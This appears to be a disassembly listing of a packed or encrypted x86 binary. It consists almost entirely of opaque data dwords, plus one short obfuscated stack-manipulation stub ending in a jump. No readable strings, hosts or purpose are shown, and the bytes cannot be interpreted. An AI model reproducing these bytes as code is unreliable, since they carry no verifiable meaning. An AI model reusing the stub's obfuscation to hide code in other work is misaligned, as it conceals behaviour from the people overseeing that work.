		dd 16B66300h, 1CAA6CCAh, 23A972D0h, 2FCD79D7h, 32BE85E3h
		dd 0A2DBFCE6h, 0AB0955DBh, 0AF0D59E3h, 0B10F5BE9h, 0A31662EEh
		dd 0D1DA5928h, 0A483F000h, 0C9744AC0h, 67BC7F4Eh, 51A1F60Ch
		dd 0C67B382h, 0FE5CACF6h, 0ACFCAF35h, 0CA12E15Ch, 82FC191Ah
		dd 59D46224h, 0D5AB8Ah,	0AE64B4F0h, 8E0984D4h, 0D57CBFh
		dd 0C27140F0h, 9BF000D5h, 0C321714Bh, 43BE7400h, 20BE6AC8h
		dd 9671D6Dh, 0F6DB947h,	0AE0CBF4Dh, 0CCFE5DEBh,	6AAECDA4h
		dd 63861B7h, 47F40000h,	39FB59A5h, 38015FABh, 5E0A68B4h
		dd 4F1674C0h, 6A8B75C1h, 9AE66A31h, 9EEA743Ch, 0A0EC7A40h
		dd 0A5F17F42h, 55E8B732h, 0AF000D0h, 744A472Bh,	3BFE79F4h
		dd 0A11F1ED0h, 0C905929h, 10965EBCh, 4D418B5Ah,	5EAEFC19h
		dd 36C285E3h, 0AADCFBEAh, 9456B42Fh, 4E815006h,	0B7F0008Dh
		dd 82CE6D3Ch, 3F8FF000h, 0C36D3CEFh, 25F00082h,	0BD12FAAh
		dd 0B382D285h, 0F0008280h, 34D78DDDh, 0FCB8D1Ah, 5D0B99D0h
		dd 27000000h, 0DAEFBBEh, 5D74A781h, 671FB8A7h, 441A1DECh
		dd 0FB4BF60Ch, 7360580h, 58F60C44h, 249F5208h, 844BA9h
		dd 0C440231h, 48EBBAF6h, 15F60C44h, 0A170EBC5h,	0F60C4492h
		dd 752B7BCBh, 0C449BA6h, 60BA5DF6h, 0C34E5113h,	753B9993h
		dd 36EC3CEFh, 7B3h, 8EE3CF00h, 0FF000001h, 0E4DAF280h
		dd 1A3A0984h, 83FC137Dh, 0A5037E33h, 5386DEDFh,	59F6A391h
		dd 1B845309h, 5BA3B0B2h, 0BB8A0563h, 55BE8E31h,	10D34E9Eh
		dd 702CAB5Bh, 32BC84A8h, 8A792CE2h, 3EB93434h, 8341F4C3h
		dd 0CE1E59A6h, 3CFA4918h, 27A253BCh, 0ACF3E558h, 742A7A5Fh
		dd 71CF4A9Ah, 78D622AEh, 0CC827B5h, 0BA0B39C3h,	4E8B107h
		dd 97440000h, 894BA9F5h, 8851AFFBh, 0AE5AB804h,	9F66C410h
		dd 0BADBC511h, 0EA36BA81h, 0EE3AC48Ch, 0F03CCA90h, 0F541CF92h
		dd 5380782h, 5AF000DFh,	18DB977Bh, 772AB87Eh, 0FE5CD727h
		dd 0A9F9AC52h, 6D5140F3h, 3B180FBh, 5CFC1380h, 7033910Ch
		dd 84E22EE4h, 0D37925C1h, 3EBA2483h, 0A154AED3h, 4854Bh
		dd 52FAA700h, 58E6A806h, 5FE5AE0Ch, 6309B513h, 6EF2B917h
		dd 0D6173822h, 0D735810Fh, 0DB39850Fh, 0E5438F15h, 0D74A9622h
		dd 0DFAE8D5Ch, 0D0AFF000h, 8C18DBECh, 67EDB311h, 0FBAE64B4h
		dd 9B4EDA9Dh, 0D11C36D9h, 22AC740Eh, 83CF1F6Fh,	32824508h
		dd 0D4BA36D5h, 20BC7E1Eh, 0A60493C4h, 1B9E54FAh, 25h, 0F4744A37h
		dd 0D9A0FE79h, 86C6954Bh, 0F7FC1383h, 1A25F4A7h, 0DCF00B7Ch
		dd 0D092E139h, 1099CA49h, 39h, 0F4744A2Ch, 0D0541B79h
		dd 9C17CD1Dh, 13B3D4CDh, 72ED3DFCh, 620D33AFh, 11C77143h
		dd 0DA763896h, 87D78A18h, 141CEB37h, 0BDF00B48h, 0C4226EFAh
		dd 6BC17402h, 3C6h, 0F4744A87h,	6C3AAA79h, 1FE2FC13h, 0D38B67FCh
		dd 653FF554h, 41046215h, 0D9A200B3h, 7C42A053h,	0CAF43F6h
		dd 9A3DB532h, 401AA480h, 0C23DF07Eh, 0B2C40F3h,	7DCD1DF0h
		dd 0E1E3B22Dh, 5EFA1427h, 0A164C20Eh, 4D716013h, 7D1A01Bh
		dd 90FC1324h, 7EF98D40h, 18CB5920h, 0D76F12C8h,	0E8AB470Ah
		dd 959A95Ch, 4DF0CEBDh,	0B2BBF7Eh, 0CC5A1CF0h, 5827A2F2h
		dd 0F00B2BE5h, 5FDA2A7Ah, 14C41C90h, 9A62C0FAh,	4E116114h
		dd 17A34370h, 3913C9C7h, 15D836E9h, 0B476D487h,	4C157326h
		dd 0D614BB55h, 0A0F0E95Ah, 0D56D10EDh, 47DF8216h, 1893D5E9h
		dd 138F5B49h, 854A4FCh,	0A659E7AAh, 0D1808148h,	2C0FDE49h
		dd 31F00B21h, 0EA0C1EE1h, 4FC77ACAh, 844792ACh,	1BDACF8h
		dd 7B1DEC67h, 0ACFA14CFh, 0A1EA6EE9h, 44941A4Eh, 7F531691h
		dd 0E86C3335h, 0A222E535h, 0CF6E3D4Eh, 90F60C0Bh, 0DC3AF040h
		dd 44D88B19h, 1BA96BC9h, 0BF621868h, 73F5C967h,	5C1F7DF8h
		dd 8D4B1AD0h, 1AFC1307h, 5D207ECAh, 0FBBE1CCFh
		dd 8C32216Dh, 5E9261DCh, 0A7FA1405h, 46F98749h,	24F3A6F6h
		dd 0F60C0A1Dh, 911E38DBh, 93C397CFh, 440Fh, 60BE2B00h
		dd 0A5A0D97h, 0F596554h, 75D7C594h, 0EA48FC13h,	9BEB9E24h
		dd 66C9984Bh, 6BF00B6Ah, 0E6C1FA5h, 5DEBAE62h, 570A5AAAh
		dd 0E5E23CDFh, 0FAC3219Ch, 0B96FBF72h, 0AD6F3C16h, 0ED99CA3Bh
		dd 0CBh, 8C18DB09h, 30B47BD9h, 0C86B3AB5h, 95F60C67h, 7EDC8F45h
		dd 1C7A2DBBh, 47FCB59h,	3DAAFA41h, 7E34EF76h, 0CC007AFh
		dd 9725E8F6h, 902AED4Bh, 0DF6D2FC7h, 9D8C3F8Fh,	6ECC4721h
		dd 1B6B1EACh, 7D1BEA65h, 9FC1323h, 0AC5FE5ABh, 4AFD8B4Eh
		dd 1AF4AAFAh, 2F8F7ECAh, 0B3EFBE39h, 18FA1198h,	28EF4DC8h
		dd 2BF2509Ch, 37A246A5h, 9548B4CCh, 1C53Fh, 12BA6700h
		dd 18A668C6h, 1FA56ECCh, 23C975D3h, 2EB279D7h, 96D7F8E2h
		dd 97F541CFh, 9BF945CFh, 0A5034FD5h, 970A56E2h,	0DCEE4D1Ch
		dd 906FF000h, 7443BEACh, 0F60C67C1h, 3A984E9Eh,	4F3B7A73h
		dd 0C85A020Ch, 0F39FFD78h, 0E9479349h, 3F162726h, 841DFE61h
		dd 4A04E834h, 0AD5C8174h, 92D2782Fh, 35E86E34h,	4B1A95E5h
		dd 0FC13BB49h, 4D386D6h, 0F00BA43Dh, 713E18BBh,	99CAF1AFh
		dd 99EFh, 0DBB17400h, 0D36AAE66h, 0DBF6DA90h, 7BD98C18h
		dd 0AE7D30B4h, 0F60C6C04h, 4E9A26E9h, 0EC9F2DF0h, 2CA7C1FDh
		dd 138FBB5Dh, 509CECFCh, 23B177D5h, 7B6A2070h, 0DBAA2543h
		dd 0FA112804h, 48A62171h, 2CA7F381h, 0C97C22CEh, 9E65C379h
		dd 0D73FB312h, 14C7B4CBh, 0EDBEh, 0EA923F00h, 0F07E409Eh
		dd 0F77D46A4h, 0FBA14DABh, 68A51AFh, 6EAFD0BAh,	6FCD19A7h
		dd 73D11DA7h, 7DDB27ADh, 6FE22EBAh, 0DB1625F4h,	6847F000h
		dd 6514DB84h, 0C67A796h, 1868B8F6h, 1DAB6ECCh, 18DBEDD1h
		dd 0B87BD98Ch, 0CDF1E02Ch, 19B4C628h, 0C95EB4Ah, 612474F6h
		dd 0F949E893h, 134037Eh, 5EF60CA0h, 11507E9Bh, 49995163h
		dd 3F9D1893h, 0E838EB79h, 893CC28Ah, 0DCB48339h, 29FC1995h
		dd 0E3DC9066h, 0C8186D52h, 5AF4B715h, 0B53B02AEh, 0AF62B202h
		dd 65C30F5Fh, 946316A2h, 4D00B0EEh, 9D2802A5h, 87024EDAh
		dd 8D06229h, 2B7BCB7Eh,	3639B578h, 0E6E4245Ch, 0E7753896h
		dd 8410D331h, 17C773D1h, 0C010C351h, 8629BD70h,	0D25E21ACh
		dd 0C1900B86h, 0A500FD72h, 0C8F18702h, 0ECC6DD04h, 0C588E69Ch
		dd 32E8437h, 4A000000h,	2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh
		dd 0F0B816C9h, 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h
		dd 10D230E3h, 687ECF82h, 7047h,	24048F54h, 4240481h, 68000000h
		dd 0D95h, 68242C89h, 60C9h, 57240C89h, 33029CBFh, 0B5A6BD1Ch
		dd 0FD29223Fh, 83243C8Bh, 8B5404C4h, 0C483240Ch, 4EC8104h
		dd 89000000h, 8BB241Ch,	1000000h, 5B2B89CBh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5438DD
; ---------------------------------------------------------------------------
		dd 4CC72FEDh, 0BD76B8C6h, 0C503060Ch, 1175E0FFh, 96EE7434h
		dd 125102F2h, 0F37F37E1h, 0C5A6B44h, 63641115h,	17F26C83h
		dd 2EE14270h, 0DFE34FD1h, 0EFED7D33h, 24EB05D8h, 9 dup(0)
		dd 0BDE9h, 27B58900h, 8B060CBEh, 732B185h, 0F1858B06h
		dd 8D06071Ch, 0CBE71B5h, 8A858D06h, 0FF060A4Ah,	0E855C3D0h
		dd 0
		dd 77ED815Dh, 83060CBEh, 732B1BDh, 850F0106h, 2Ch, 0BE27B5FFh
		dd 858B060Ch, 6071CF1h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60CBE2Bh
		dd 27B5FF56h, 8B060CBEh, 71CF185h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 0CBE2BB5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 32B1BD83h, 0F010607h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 60CBE50h, 6A18589h, 8D8D0607h
		dd 60CC022h, 0EB816660h, 316001F7h, 7100995h, 0CA8B6606h
		dd 8D896161h, 6070A01h,	13E8h, 9209E700h, 0C80AE239h, 8529F53Bh
		dd 148E954h, 0FE114632h, 1AD88166h, 85C758FEh, 60714A5h
		dd 66A8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	10C35141h, 5125238Eh, 0BE666364h, 85C7112Ah, 6072FD5h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 65C35343h
		dd 91D9BBBAh, 4DB5FF11h, 6A060721h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4263C357h
		dd 357FB21Ah, 8154BD0Bh, 33316E6h, 12880F77h, 0E9000000h
		dd 0Dh,	53755C4Eh, 709FF369h, 0F71FE784h, 0F08B66CAh, 1C1995FFh
		dd 8D290607h, 6071CEDh,	0FE9h, 1836D500h, 548A5133h, 5C936E4h
		dd 0A18564C3h, 95FF006Ah, 6071B69h, 1BEBC08Bh, 2D0E5075h
		dd 0AFE64641h, 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h
		dd 0E8EAA1C2h, 8, 2D04A8C9h, 1417730Fh,	14E8h, 0EF26CD00h
		dd 81146E4Ch, 20208290h, 0F87471Eh, 31D9C54Dh, 519D897Ch
		dd 58060717h, 0D381665Ah, 0C28125B2h, 6CB1h, 68C6B70Fh
		dd 0
		dd 2AD88166h, 8B665EB7h, 323C8BD9h, 334D8509h, 0F7810607h
		dd 57F9A011h, 66C18B60h, 6169ABBFh, 4488F781h, 0BB663274h
		dd 0C781EC42h, 790820F1h, 3558D8Bh, 3C890607h, 28B96632h
		dd 12E9A5h, 0A8760000h,	93E6B22Bh, 77A5CF49h, 51E58183h
		dd 0FBAF7AA4h, 1E3FEE81h, 0B5895AC8h, 6071E0Dh,	1E3BC681h
		dd 0F605AC8h, 0BA66CEB7h, 8161B9E7h, 0FF9434FEh, 1A850FFFh
		dd 29000000h, 7214995h,	27E906h, 2DE20000h, 52A3B76Dh
		dd 0DEBE6794h, 77920742h, 2D853316h, 0E9060705h, 0FFFFFF69h
		dd 0BEF3327Ch, 2C47ED32h, 21CF85D2h, 2A08EBE3h,	4DDD61h
		dd 0E9024000h, 0CBFh, 0CC30868h, 82AEE906h, 3568FFFBh
		dd 0E9060CC4h, 0FFFB82A4h, 0CC61B68h, 829AE906h, 0F468FFFBh
		dd 0E9060CC6h, 0FFFB8290h, 0CC7DA68h, 8286E906h, 7168FFFBh
		dd 0E9060CC9h, 0FFFB827Ch, 0CCA1C68h, 8272E906h, 9468FFFBh
		dd 0E9060CCBh, 0FFFB8268h, 0CCC6668h, 825EE906h, 84ECFFFBh
		dd 58C7AD6Ch, 3CA98F4Eh, 20896F2Eh, 0FB654B0Ah,	0FD9828E7h
		dd 743347B1h, 5312228Eh, 34F3FF6Dh, 12D1E34Eh, 2572E088h
		dd 0CB911D21h, 0E9916732h, 10602E7Bh, 0DD5BD48Bh, 0D27A8CF7h
		dd 0F27080ECh, 0BA39A48Ah, 60D9414Bh, 0B88B28E7h, 0F7856C14h
		dd 3FABB3FFh, 84644E35h, 0F03860B6h, 7A22CA72h,	10CABF0Ch
		dd 6EEC658Bh, 17CCC000h, 2BD34C91h, 0F25CD945h,	84FD76DEh
		dd 10F69E06h, 0A91795A3h, 8509C858h, 2B98B64Ch,	0E023D25Bh
		dd 436Bh, 74DDC300h, 9C15E05Eh,	0D04BB889h, 74ED5563h
		dd 32DA82FBh, 60CF1C8Ah, 0FC758B10h, 6E24107Eh,	8F089117h
		dd 5368B927h, 0B45C8509h, 7AE562CEh, 0E870068h,	19AF2DA6h
		dd 4DF69805h, 0E5D8E022h, 0D000000h, 2ED6E853h,	3ED5FC47h
		dd 88658EAh, 0A412F8A0h, 0CA341A98h, 0FD684EB6h, 0B59B43EBh
		dd 7CC9374Bh, 228B112Bh, 0DDC32BA9h, 33A16072h,	8B1130AFh
		dd 44031580h, 39E1F35Eh, 6ED6E853h, 720F77F5h, 0E52892D3h
		dd 11272A77h, 0DE57D08Bh, 2B4FBD65h, 7A911857h,	0AF172994h
		dd 9C15B836h, 55540DF4h, 177BA926h, 0EE3DDA99h,	8C721AC2h
		dd 2CA50D23h, 409740AEh, 0FF58B13h, 0B32C94A2h,	42AC923Ah
		dd 1F896F2Eh, 0B921339Eh, 0E0EC5A40h, 3E58B667h, 99019579h
		dd 0A4CAFh, 0DBF35B00h,	0BDC7361Ch, 9DAB18FEh, 798FF8DEh
		dd 566AD4BAh, 208E0797h, 0FDE3A2B6h, 0DCC28191h, 0BDA3626Eh
		dd 0F7814052h, 2394E14Fh, 0A13A911Dh, 2CAA91D6h, 873936E3h
		dd 0F96349C7h, 0D54026E5h, 755C04C3h, 57DC1E3Eh, 0E8B331FFh
		dd 2E40AB91h, 9C3013B0h, 6D9A86F4h, 0D67E9117h,	9521B68h
		dd 70DBC185h, 47DF65Eh,	91FDE38Bh, 2D9B0381h, 850952DCh
		dd 60C8DE47h, 51FD4AB8h, 2AA38509h, 63CBD544h, 0C0E240D6h
		dd 2471CD63h, 52C10E7Ch, 0EE678509h, 4C06E870h,	0F028E022h
		dd 5D000000h, 2ED6E853h, 60CB1886h, 0F8718B10h,	846A127Ah
		dd 0A68C0A16h, 18C0283Ch, 60B50270h, 0E25B8B10h, 6572F664h
		dd 0D8438B10h, 63DCEE59h, 4153BEA4h, 0F84A31D9h, 467542EBh
		dd 0CE317EECh, 5ED78B0Fh, 7BCA67E5h, 1D41AF57h,	719116FEh
		dd 899C39F8h, 0EFD57D25h, 940D7581h, 44EEA816h,	886E8B12h
		dd 0EA920B1Dh, 0DDF35C42h, 418EFC75h, 0E77EFEF5h, 6248F06Eh
		dd 0FC0A77F8h, 86F5DB83h, 593FFE7Ch, 0B22ADBEFh, 77957848h
		dd 91F250Fh, 20880000h,	0F4634908h, 0D8452BEAh,	0BC250BCAh
		dd 9701E7A6h, 6134C483h, 10CFE34Dh, 0EFAEBE2Ah,	0D08F9B09h
		dd 0AE6D7FEAh, 0C10E7C24h, 67911D24h, 0E95303CEh, 17852DD5h
		dd 8B1060CAh, 0BA79F770h, 0AFFC6A12h, 558B1060h, 79C634DCh
		dd 1F8B1060h, 0D74228A6h, 64DDEB58h, 0B716FDA5h, 0CE949BF3h
		dd 53A36EECh, 886ED6E8h, 0AF4C0B1Dh, 4856C39Ch,	997F27CFh
		dd 3FB8202Ah, 60DC2997h, 9828B10h, 64751D8Bh, 58D19117h
		dd 209F0AF0h, 0BBC735B6h, 0E861DA42h, 59D84329h, 0FC75DDEDh
		dd 7DAD1B83h, 0FF0C4F80h, 20C8D569h, 0C33A65B2h, 14920BFDh
		dd 0F2B1C32Eh, 0E734A24Ah, 8DFDC33Ah, 39012D14h, 3C69F411h
		dd 5B6DD8BEh, 9A3585F3h, 339EFDC2h, 9A3784F2h, 64DDFDC2h
		dd 2F9D83EBh, 9A3986F4h, 66DFFDC2h, 21B785EDh, 943CAF0Dh
		dd 880C7AADh, 6EECD6BCh, 80EB7AD8h, 0BA780800h,	5D435DADh
		dd 0A968E1F1h, 56D858C3h, 603BC47h, 3A87F59Dh, 0E0FDC2FDh
		dd 1886EE67h, 0FDC2FDC4h, 0FA6810B8h, 0FDC2FDADh, 0C65CDA53h
		dd 0F272DD68h, 69418FA9h, 0D7960FBFh, 0C7486F1h, 48F0DC6Fh
		dd 0FF208B61h, 5831E65h, 6593EF5Dh, 6C5203C9h, 0D174F2FEh
		dd 8A707EEBh, 2CA50D1Fh, 0F457F4B3h, 0A28830D8h, 3DAB2933h
		dd 0FDC2939Dh, 8094FEE4h, 0B4C83218h, 0DC5AD34Ch, 3118C039h
		dd 82A4338Eh, 870EE79h,	0B38B4A9Ah, 88A63CF1h, 636C53FBh
		dd 503AEF0Bh, 0B283D03Eh, 0B029F1B3h, 0E8D8AA32h, 76EA7F79h
		dd 1F000004h, 10607ECBh, 7008598Bh, 82EB8B10h, 958B1054h
		dd 8B104C44h, 0D17955F8h, 4C6EBB29h, 9B148B10h,	25CD751Dh
		dd 104C6AB7h, 0B197108Bh, 53CC3446h, 725767D5h,	0A839117h
		dd 8277EF59h, 0E0CA329Bh, 739h,	2FEE066Eh, 11D0DA49h, 0F1B0BE2Bh
		dd 0CD8CA20Bh, 0AA697DE7h, 0C9337B1Ah, 0A410F6B5h, 81EFD594h
		dd 65D0B675h, 620A9453h, 1D26A7F4h, 0E9B44D91h,	5E31AA91h
		dd 2C7A9439h, 3692F445h, 7BF97467h, 0B0182A95h,	0C62F3013h
		dd 0C76148B0h, 42613BFDh, 5D057EF7h, 1D91D4EFh,	0DE9D1691h
		dd 182B3D7Ah, 729E0CB4h, 0D18B0B24h, 0A727CEBh,	0F7701391h
		dd 36F40270h, 3222E5Eh,	299907AFh, 15D5A2CCh, 4DB5C12Fh
		dd 0B0EA37A5h, 1790C994h, 20BD259Eh, 51F9A10Dh,	94B096E3h
		dd 45C33CC9h, 0A00FF59Dh, 0E6AA1896h, 75CF9BE8h, 77125FCDh
		dd 3FB8C38Dh, 0FDA51EC1h, 9705AD55h, 0C38D774Ah, 0BC0977F0h
		dd 62C38D77h, 1A856BE9h, 0F8634908h, 0CAF135E6h, 0F860DA06h
		dd 6600Eh, 0C7DF4700h, 0A9B32208h, 899704EAh, 657BE4CAh
		dd 4256C0A6h, 0CA2F383h, 0E9CF8EA2h, 0C8AE6D7Dh, 0A98F4E5Ah
		dd 0E36D2C3Eh, 2680CD3Bh, 8D26911Dh, 0B7899CC2h, 6D219401h
		dd 0E2ECD35Fh, 0D05F7097h, 0D240E861h, 9118452Ah, 2370DE86h
		dd 0C9850A3Dh, 896FD750h, 17A40C1Eh, 38E0AD81h,	0A3D7DCAh
		dd 2CAA2385h, 73E1BC8Fh, 850A3D26h, 6984488h, 2ED19B9Fh
		dd 0EC943CB5h, 0B11B9C06h, 43BC249Dh, 0ECAF57C5h, 920B8B10h
		dd 0E51465D3h, 0AAF77F02h, 567F02E5h, 4D33DBF7h, 7EEDD3DFh
		dd 0E04EF674h, 850FA6C5h, 0B8268E07h, 78F6246Eh, 917A6109h
		dd 0AE7239C2h, 0E64B9806h, 78F178F5h, 0E63A8CFAh, 3CA778F5h
		dd 816814FBh, 0FA1C5642h, 0F5F63F8Ch, 4AAFA178h, 47AFE1A3h
		dd 1B22BA4h, 8F6F37ABh,	7A1C066Eh, 2D000005h, 8EEADC5h
		dd 0EAD08F99h, 0CAB06F7Dh, 0A68C4B61h, 0D969283Ch, 7488F2BCh
		dd 5363CFB5h, 3440AE94h, 12248F75h, 0B321C953h,	911D2766h
		dd 9CA8730Ch, 0F7D2589h, 911D21F4h, 6F55BD36h, 644AF204h
		dd 0FE107BF8h, 2C361D85h, 50314EBBh, 39F876EFh,	7F278B9Ch
		dd 14D12E98h, 870563BBh, 0BCCE391Fh, 0B3C12E14h, 9554D24Bh
		dd 0CA3244AFh, 39F979E4h, 4004E13Dh, 9D05117Fh,	0CA32AB24h
		dd 5DC9AF57h, 0E539CF4Dh, 1EDDEF5Ah, 295AF496h,	150D6E0h
		dd 9C0B0000h, 0F7D2589h, 911762B3h, 2896FE77h, 85095ED9h
		dd 7F011DB3h
		dd 0D4FF92ACh, 87D7B1DBh, 9CF8660Eh, 608B0FAEh,	0D74228E7h
		dd 0AADB2896h, 8817F01h, 0D641278Fh, 0C56805C4h, 0C05A41E9h
		dd 0AEC02B09h, 9DE6CD46h, 650D8BCDh, 946B7F7h, 62CA4385h
		dd 0FB42A3F4h, 2D019778h, 3058EE80h, 0C331D9F4h, 78FB4A76h
		dd 6425A31Ch, 35h, 25899C99h, 192D977Dh, 0A25138B1h, 0B459F84Ah
		dd 0DB49F16Fh, 9117EAEFh, 488FECD3h, 0E5828B1Bh, 4596046Ch
		dd 39850990h, 4C1E8FA3h, 5EE0238Eh, 9Bh, 27AA9193h, 0B5CB3424h
		dd 6B8DADCEh, 8A9C07EDh, 0BED23C22h, 0F3057056h, 93FDE38Bh
		dd 209E177Fh, 0FEBDCF3Ah, 110B0C90h, 6072DD8Bh,	5369D2B8h
		dd 35F472EBh, 7119B598h, 1AA9C703h, 2AD24B91h, 1EC6DA44h
		dd 59BB0876h, 0B21E8507h, 1EC13AA2h, 826827A5h,	3530418h
		dd 2A9B80ACh, 3E3D8C2h,	5CC40000h, 309F8544h, 14816726h
		dd 0F8614706h, 0D33D23E2h, 257000BFh, 4C0B1F89h, 2BEAFA66h
		dd 0CCBD745h, 0EAA9BB26h, 0FD4AB860h, 0A3911D28h, 0E9533F0Ah
		dd 0C53016D5h, 5329F4B3h, 862ED6E8h, 1060CB18h,	7AF8718Bh
		dd 0AFC12C12h, 7ACB25F0h, 238B10E0h, 0EB8EBF3Ch, 5837F8Dh
		dd 10044697h, 872BFA8Bh, 0C55671DFh, 1F98911Ch,	0AA239177h
		dd 4FC8303Ch, 53F058D6h, 0F23FADF0h, 98850342h,	56FEA61Fh
		dd 3439BE8h, 2B994185h,	850343DEh, 14920B84h, 519EFE6Ch
		dd 846A8B0Ah, 29A20A16h, 885DFFB0h, 147C9575h, 3382Ah
		dd 0EF076F00h, 0D1DB4A30h, 0B1BF2C12h, 8DA30CF2h, 6A7EE8CEh
		dd 347A1BABh, 11F7B6CAh, 0F0D695A5h, 0D1B77682h, 0B955466h
		dd 2AA8F563h, 0B54E911Dh, 0D6E853EAh, 0B01EC66Eh, 8B106063h
		dd 60499604h, 76EF8B10h, 0F6DC5AD3h, 0EBD1798Bh, 34F3717Dh
		dd 7018B497h, 1762C202h, 6DD54E91h, 95EAEFFh, 14FAA285h
		dd 871D9BA5h, 0C432DAABh, 85095E77h, 0BDC9371Dh, 0FB5F5D44h
		dd 23556DCBh, 654D1DA5h, 6B5DE022h, 0B5000000h,	0EE5660CFh
		dd 228A9E08h, 0E7B230A9h, 1DB7899Ch, 2B973DE1h,	6810B831h
		dd 10E8ADFAh, 32DA538Bh, 10E877C4h, 26A41D8Bh, 0F624107Eh
		dd 22089117h, 0BFC938B7h, 0EC65DE46h, 2DF5DC84h, 0C7D2CDB0h
		dd 51A2108Eh, 0BC850A4Ah, 0F4DA424Eh, 0A0137B85h, 3996340Ah
		dd 4C1E8FA3h, 5EE02354h, 0D8h, 1CA2CFB6h, 0C5BAB3F8h, 0E8537C47h
		dd 1E886ED6h, 0B820329Dh, 785EC63Fh, 813F8D0Dh,	0AA919F0Ch
		dd 0C942D8CEh, 0FE107B61h, 43D76F56h, 4F21596Bh, 20A412D1h
		dd 0F18B1067h, 0CFB57486h, 4DEA5264h, 822AD2FEh, 5980719Bh
		dd 3BB9A4E7h, 169225CDh, 60088191h, 49FD4AB8h, 0BCA38508h
		dd 0B4F544C5h, 0CD4BC40Dh, 0CFD2710Eh, 8071461h, 0C841BA85h
		dd 0BFCD3A20h, 0E92B9941h, 798B11B2h, 8725800h,	0E54F35F4h
		dd 0AF8420D1h, 0B9219577h, 1C0CFh, 677FE700h, 4953C2A8h
		dd 2937A48Ah, 51B846Ah,	0E2F66046h, 0AC029323h,	896F2E42h
		dd 684E0D1Dh, 492FEEFAh, 830DCCDEh, 2B206DDBh, 2DC6911Dh
		dd 0D5E95362h, 0B3C53016h, 0E3654CF4h, 0E1F76088h, 47190079h
		dd 501B9949h, 7D25899Ch, 176E230Fh, 268E0791h, 95367B8h
		dd 69C55B85h, 224DAA3Ch, 8EAE95E0h, 0C93A9C31h,	0A2571896h
		dd 8C000000h, 6ED6E853h, 6375E0C6h, 5295FFE5h, 106097E4h
		dd 4BC43D8Bh, 64F175E3h, 57C28B10h, 0F8DE8645h,	19FF7D8Bh
		dd 97349CAEh, 2C42ABB4h, 0F59D0BB3h, 5191177Eh,	0DC4A30D8h
		dd 0F69352D0h, 2BD37B57h, 3D10FD44h, 1C9A8BFEh,	12AD0DAEh
		dd 3AE25B8Bh, 17D6EA54h, 2B3C731h, 9578B054h, 0EEB39D05h
		dd 0B9000000h, 947A3951h, 765C1B25h, 563CFB09h,	3218D7EDh
		dd 65F5B4C8h, 147E30h, 0DFEF5B41h, 0C0CC3A20h, 9EB01B01h
		dd 3FAD55DFh, 911D2BF2h, 5334FF98h, 472DD5E9h, 8F4ECCDAh
		dd 6D2C3EA9h, 0D6E853A2h, 0CB18862Eh, 718B1060h, 2C127AF8h
		dd 2107AFC1h, 0BD0A78B3h, 638B1060h, 900971EAh,	97B65312h
		dd 0D75064CEh, 0CFDB492Fh, 0EE6C7EE9h, 21B9D846h, 8A03911Dh
		dd 0FE937A22h, 0EF73DCA7h, 7EE9CF4Dh, 1F05AD6Ch, 4127A5B1h
		dd 0EE5CC4D6h, 0D0D5D24Ah, 7AE2EC5Bh, 0AD152B94h, 0F8DA780Eh
		dd 0AD1BC36Bh, 39327360h, 790F8D06h, 1D2F9AA5h,	0EFCFB65Eh
		dd 771439Bh, 0B4016F17h, 5A39328Bh, 127D63E1h, 49B29800h
		dd 67FDCB33h, 91117CCBh, 0A79AB0C0h, 1764D235h,	0BD39334Eh
		dd 9352CB44h, 0C83042ADh, 0BBD13A20h, 3533Dh, 0BF880000h
		dd 0D3EB53F4h, 81A856Bh, 404CBAA0h, 7686F2D8h, 0AABE280Eh
		dd 0DEF25C42h, 11279076h, 4856C3A9h, 818BFAE0h,	0EC83B319h
		dd 48F5404h, 24048324h,	0E3895304h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 56242C89h, 0C681E689h,	4, 8704EE83h, 895C2434h
		dd 99682404h, 8B060CC1h, 0C481242Ch, 4,	24048B54h, 8304C483h
		dd 348904ECh, 89EE8924h, 0FF5E0870h, 81582434h,	4C4h, 242C8B00h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FB7607E9h, 47D2C6FFh
		dd 7900DDCBh, 52BC1F9h,	0B8ED2ADDh, 60CCD79h, 0E0FFC503h
		dd 5E9EA656h, 6A8CB7CCh, 8336C71h, 67538D61h, 64696AD6h
		dd 6AD5B44Fh, 71AEFC3Ah, 166166C1h, 4F3FBA66h, 215459F2h
		dd 1A32B47Bh, 66BB75BFh, 6918EBFDh, 7F388999h, 32200460h
		dd 65F72178h, 1594B110h, 28D389E0h, 4110C118h, 34E02CADh
		dd 3B1C2D0Dh, 16AD92D2h, 847F39Ch, 26B4ED60h, 108B3C65h
		dd 2D5D5119h, 0C222ACEh, 3958162h, 6409150Ah, 43A85F48h
		dd 70D4F9E8h, 37F18475h, 0ABE9h, 2E8D5000h, 72B11C3Fh
		dd 0ACABDA5Fh, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
		dd 97B1EFh, 0A5B4F94Eh,	6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
